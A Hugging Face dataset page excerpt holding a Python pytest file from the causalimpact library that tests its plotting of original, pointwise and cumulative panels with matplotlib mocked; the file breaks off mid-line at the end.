xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

5b247673dd04b44a067be2d37427fec3c7c80590

35,100

py

Python

tests/test_plot.py

david-ml/causalimpact

64c0206fe3339fe24c6de95a41251438d9bfc672

[ "Apache-2.0" ]

5

2020-11-12T01:19:12.000Z

2021-12-17T12:50:38.000Z

tests/test_plot.py

david-ml/causalimpact

64c0206fe3339fe24c6de95a41251438d9bfc672

[ "Apache-2.0" ]

null

tests/test_plot.py

david-ml/causalimpact

64c0206fe3339fe24c6de95a41251438d9bfc672

[ "Apache-2.0" ]

3

2018-11-28T14:17:57.000Z

2021-07-14T20:41:39.000Z

# Copyright 2014 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Tests for module plot.py. Module matplotlib is not required as it's mocked accordingly. """ from __future__ import absolute_import, division, print_function from datetime import datetime, timedelta import mock import pandas as pd import pytest from numpy.testing import assert_array_equal from pandas import Timestamp import causalimpact.plot as plot from causalimpact import CausalImpact def test_plot_original_panel(rand_data, pre_int_period, post_int_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_period, post_int_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock plot_mock = mock.Mock(return_value=plotter_mock) monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['original']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1) ax_args = ax_mock.plot.call_args_list llb = ci.trained_model.filter_results.loglikelihood_burn assert_array_equal(pd.concat([ci.pre_data.iloc[llb:, 0], ci.post_data.iloc[:, 0]]), ax_args[0][0][0]) assert ax_args[0][0][1] == 'k' assert ax_args[0][1] == {'label': 'y'} inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['preds'], ax_args[1][0][0]) assert ax_args[1][0][1] == 'b--' assert ax_args[1][1] == {'label': 'Predicted'} ax_mock.axvline.assert_called_with(ci.pre_period[1], c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['preds'].index) assert_array_equal(ax_args[0][1], inferences['preds_lower']) assert_array_equal(ax_args[0][2], inferences['preds_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_original_panel_gap_data(rand_data, pre_int_gap_period, post_int_gap_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_gap_period, post_int_gap_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock plot_mock = mock.Mock(return_value=plotter_mock) monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['original']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1) ax_args = ax_mock.plot.call_args_list llb = ci.trained_model.filter_results.loglikelihood_burn assert_array_equal(pd.concat([ci.pre_data.iloc[llb:, 0], ci.post_data.iloc[:, 0]]), ax_args[0][0][0]) assert ax_args[0][0][1] == 'k' assert ax_args[0][1] == {'label': 'y'} inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['preds'], ax_args[1][0][0]) assert ax_args[1][0][1] == 'b--' assert ax_args[1][1] == {'label': 'Predicted'} ax_mock.axvline.assert_called_with(ci.pre_period[1], c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['preds'].index) assert_array_equal(ax_args[0][1], inferences['preds_lower']) assert_array_equal(ax_args[0][2], inferences['preds_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_original_panel_date_index(date_rand_data, pre_str_period, post_str_period, monkeypatch): ci = CausalImpact(date_rand_data, pre_str_period, post_str_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['original']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1) ax_args = ax_mock.plot.call_args_list llb = ci.trained_model.filter_results.loglikelihood_burn assert_array_equal(ci.data.iloc[llb:, 0], ax_args[0][0][0]) assert ax_args[0][0][1] == 'k' assert ax_args[0][1] == {'label': 'y'} inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['preds'], ax_args[1][0][0]) assert ax_args[1][0][1] == 'b--' assert ax_args[1][1] == {'label': 'Predicted'} date_ = datetime.strptime(ci.post_period[0], "%Y%m%d") date_ = date_ + timedelta(days=-1) date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['preds'].index) assert_array_equal(ax_args[0][1], inferences['preds_lower']) assert_array_equal(ax_args[0][2], inferences['preds_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_original_panel_gap_date_index(date_rand_data, pre_str_gap_period, post_str_gap_period, monkeypatch): ci = CausalImpact(date_rand_data, pre_str_gap_period, post_str_gap_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['original']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1) ax_args = ax_mock.plot.call_args_list llb = ci.trained_model.filter_results.loglikelihood_burn assert_array_equal(pd.concat([ci.pre_data.iloc[llb:, 0], ci.post_data.iloc[:, 0]]), ax_args[0][0][0]) assert ax_args[0][0][1] == 'k' assert ax_args[0][1] == {'label': 'y'} inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['preds'], ax_args[1][0][0]) assert ax_args[1][0][1] == 'b--' assert ax_args[1][1] == {'label': 'Predicted'} date_ = datetime.strptime(ci.pre_period[1], "%Y%m%d") date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['preds'].index) assert_array_equal(ax_args[0][1], inferences['preds_lower']) assert_array_equal(ax_args[0][2], inferences['preds_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_original_panel_date_index_no_freq(date_rand_data, pre_str_period, post_str_period, monkeypatch): dd = date_rand_data.copy() dd.drop(dd.index[10:20]) ci = CausalImpact(dd, pre_str_period, post_str_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['original']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1) ax_args = ax_mock.plot.call_args_list llb = ci.trained_model.filter_results.loglikelihood_burn assert_array_equal(ci.data.iloc[llb:, 0], ax_args[0][0][0]) assert ax_args[0][0][1] == 'k' assert ax_args[0][1] == {'label': 'y'} inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['preds'], ax_args[1][0][0]) assert ax_args[1][0][1] == 'b--' assert ax_args[1][1] == {'label': 'Predicted'} date_ = datetime.strptime(ci.post_period[0], "%Y%m%d") date_ = date_ + timedelta(days=-1) date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['preds'].index) assert_array_equal(ax_args[0][1], inferences['preds_lower']) assert_array_equal(ax_args[0][2], inferences['preds_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_pointwise_panel(rand_data, pre_int_period, post_int_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_period, post_int_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['pointwise']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['point_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Point Effects'} ax_mock.axvline.assert_called_with(ci.post_period[0] - 1, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['point_effects'].index) assert_array_equal(ax_args[0][1], inferences['point_effects_lower']) assert_array_equal(ax_args[0][2], inferences['point_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_pointwise_panel_gap_data(rand_data, pre_int_gap_period, post_int_gap_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_gap_period, post_int_gap_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['pointwise']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['point_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Point Effects'} ax_mock.axvline.assert_called_with(ci.pre_period[1], c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['point_effects'].index) assert_array_equal(ax_args[0][1], inferences['point_effects_lower']) assert_array_equal(ax_args[0][2], inferences['point_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_pointwise_panel_date_index(date_rand_data, pre_str_period, post_str_period, monkeypatch): ci = CausalImpact(date_rand_data, pre_str_period, post_str_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['pointwise']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['point_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Point Effects'} date_ = datetime.strptime(ci.post_period[0], "%Y%m%d") date_ = date_ + timedelta(days=-1) date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['point_effects'].index) assert_array_equal(ax_args[0][1], inferences['point_effects_lower']) assert_array_equal(ax_args[0][2], inferences['point_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_pointwise_panel_gap_date_index(date_rand_data, pre_str_gap_period, post_str_gap_period, monkeypatch): ci = CausalImpact(date_rand_data, pre_str_gap_period, post_str_gap_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['pointwise']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['point_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Point Effects'} date_ = datetime.strptime(ci.pre_period[1], "%Y%m%d") date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['point_effects'].index) assert_array_equal(ax_args[0][1], inferences['point_effects_lower']) assert_array_equal(ax_args[0][2], inferences['point_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_pointwise_panel_date_index_no_freq(date_rand_data, pre_str_period, post_str_period, monkeypatch): dd = date_rand_data.copy() dd.drop(dd.index[10:20]) ci = CausalImpact(date_rand_data, pre_str_period, post_str_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['pointwise']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['point_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Point Effects'} date_ = datetime.strptime(ci.post_period[0], "%Y%m%d") date_ = date_ + timedelta(days=-1) date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['point_effects'].index) assert_array_equal(ax_args[0][1], inferences['point_effects_lower']) assert_array_equal(ax_args[0][2], inferences['point_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_cumulative_panel(rand_data, pre_int_period, post_int_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_period, post_int_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['cumulative']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['post_cum_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Cumulative Effect'} ax_mock.axvline.assert_called_with(ci.post_period[0] - 1, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['post_cum_effects'].index) assert_array_equal(ax_args[0][1], inferences['post_cum_effects_lower']) assert_array_equal(ax_args[0][2], inferences['post_cum_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_cumulative_panel_gap_data(rand_data, pre_int_gap_period, post_int_gap_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_gap_period, post_int_gap_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['cumulative']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['post_cum_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Cumulative Effect'} ax_mock.axvline.assert_called_with(ci.pre_period[1], c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['post_cum_effects'].index) assert_array_equal(ax_args[0][1], inferences['post_cum_effects_lower']) assert_array_equal(ax_args[0][2], inferences['post_cum_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_cumulative_panel_date_index(date_rand_data, pre_str_period, post_str_period, monkeypatch): ci = CausalImpact(date_rand_data, pre_str_period, post_str_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['cumulative']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['post_cum_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Cumulative Effect'} date_ = datetime.strptime(ci.pre_period[1], "%Y%m%d") date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['post_cum_effects'].index) assert_array_equal(ax_args[0][1], inferences['post_cum_effects_lower']) assert_array_equal(ax_args[0][2], inferences['post_cum_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_cumulative_panel_gap_date_index(date_rand_data, pre_str_gap_period, post_str_gap_period, monkeypatch): ci = CausalImpact(date_rand_data, pre_str_gap_period, post_str_gap_period) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['cumulative']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['post_cum_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Cumulative Effect'} date_ = datetime.strptime(ci.pre_period[1], "%Y%m%d") date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['post_cum_effects'].index) assert_array_equal(ax_args[0][1], inferences['post_cum_effects_lower']) assert_array_equal(ax_args[0][2], inferences['post_cum_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_cumulative_panel_date_index_no_freq(date_rand_data, pre_str_period, post_str_period, monkeypatch): ci = CausalImpact(date_rand_data, pre_str_period, post_str_period) dd = date_rand_data.copy() dd.drop(dd.index[10:20]) ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['cumulative']) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(15, 12)) plotter_mock.subplot.assert_any_call(1, 1, 1, sharex=ax_mock) ax_args = ax_mock.plot.call_args llb = ci.trained_model.filter_results.loglikelihood_burn inferences = ci.inferences.iloc[llb:, :] assert_array_equal(inferences['post_cum_effects'], ax_args[0][0]) assert ax_args[0][1] == 'b--' assert ax_args[1] == {'label': 'Cumulative Effect'} date_ = datetime.strptime(ci.post_period[0], "%Y%m%d") date_ = date_ + timedelta(days=-1) date_ = Timestamp(date_.strftime("%Y-%m-%d %H:%M:%S")) ax_mock.axvline.assert_called_with(date_, c='k', linestyle='--') ax_args = ax_mock.fill_between.call_args_list[0] assert_array_equal(ax_args[0][0], inferences['post_cum_effects'].index) assert_array_equal(ax_args[0][1], inferences['post_cum_effects_lower']) assert_array_equal(ax_args[0][2], inferences['post_cum_effects_upper']) assert ax_args[1] == {'facecolor': 'blue', 'interpolate': True, 'alpha': 0.25} ax_mock.axhline.assert_called_with(y=0, color='k', linestyle='--') ax_mock.grid.assert_called_with(True, linestyle='--') ax_mock.legend.assert_called() plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_multi_panels(rand_data, pre_int_period, post_int_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_period, post_int_period) ax_mock = mock.Mock() ax_mock.get_xticklabels.return_value = 'xticklabels' plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci.plot(panels=['original', 'pointwise'], figsize=(10, 10)) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(10, 10)) plotter_mock.subplot.assert_any_call(2, 1, 1) plotter_mock.subplot.assert_any_call(2, 1, 2, sharex=ax_mock) plotter_mock.setp.assert_called_once_with('xticklabels', visible=False) assert ax_mock.plot.call_count == 3 plotter_mock.show.assert_called_once() ax_mock.reset_mock() plot_mock.reset_mock() plot_mock.reset_mock() ci.plot(panels=['original', 'cumulative'], figsize=(10, 10)) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(10, 10)) plotter_mock.subplot.assert_any_call(2, 1, 1) plotter_mock.subplot.assert_any_call(2, 1, 2, sharex=ax_mock) plotter_mock.setp.assert_called_once_with('xticklabels', visible=False) assert ax_mock.plot.call_count == 3 plotter_mock.show.assert_called_once() ax_mock.reset_mock() plot_mock.reset_mock() plot_mock.reset_mock() ci.plot(panels=['pointwise', 'cumulative'], figsize=(10, 10)) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(10, 10)) plotter_mock.subplot.assert_any_call(2, 1, 1, sharex=ax_mock) plotter_mock.subplot.assert_any_call(2, 1, 2, sharex=ax_mock) plotter_mock.setp.assert_called_once_with('xticklabels', visible=False) assert ax_mock.plot.call_count == 2 plotter_mock.show.assert_called_once() ax_mock.reset_mock() plot_mock.reset_mock() plot_mock.reset_mock() ci.plot(panels=['pointwise', 'cumulative', 'original'], figsize=(10, 10)) plot_mock.assert_called_once() plotter_mock.figure.assert_called_with(figsize=(10, 10)) plotter_mock.subplot.assert_any_call(3, 1, 1) plotter_mock.subplot.assert_any_call(3, 1, 2, sharex=ax_mock) plotter_mock.subplot.assert_any_call(3, 1, 3, sharex=ax_mock) plotter_mock.setp.assert_called_with('xticklabels', visible=False) assert ax_mock.plot.call_count == 4 plotter_mock.show.assert_called_once() fig_mock.text.assert_called_once_with( 0.1, 0.01, ('Note: The first 1 observations were removed due to approximate diffuse ' 'initialization.'), fontsize='large' ) def test_plot_raises_when_not_initialized(rand_data, pre_int_period, post_int_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_period, post_int_period) ci.summary_data = None plotter_mock = mock.Mock() plot_mock = mock.Mock(return_value=plotter_mock) monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) with pytest.raises(RuntimeError): ci.plot() def test_plot_raises_wrong_input_panel(rand_data, pre_int_period, post_int_period, monkeypatch): ci = CausalImpact(rand_data, pre_int_period, post_int_period) plotter_mock = mock.Mock() plot_mock = 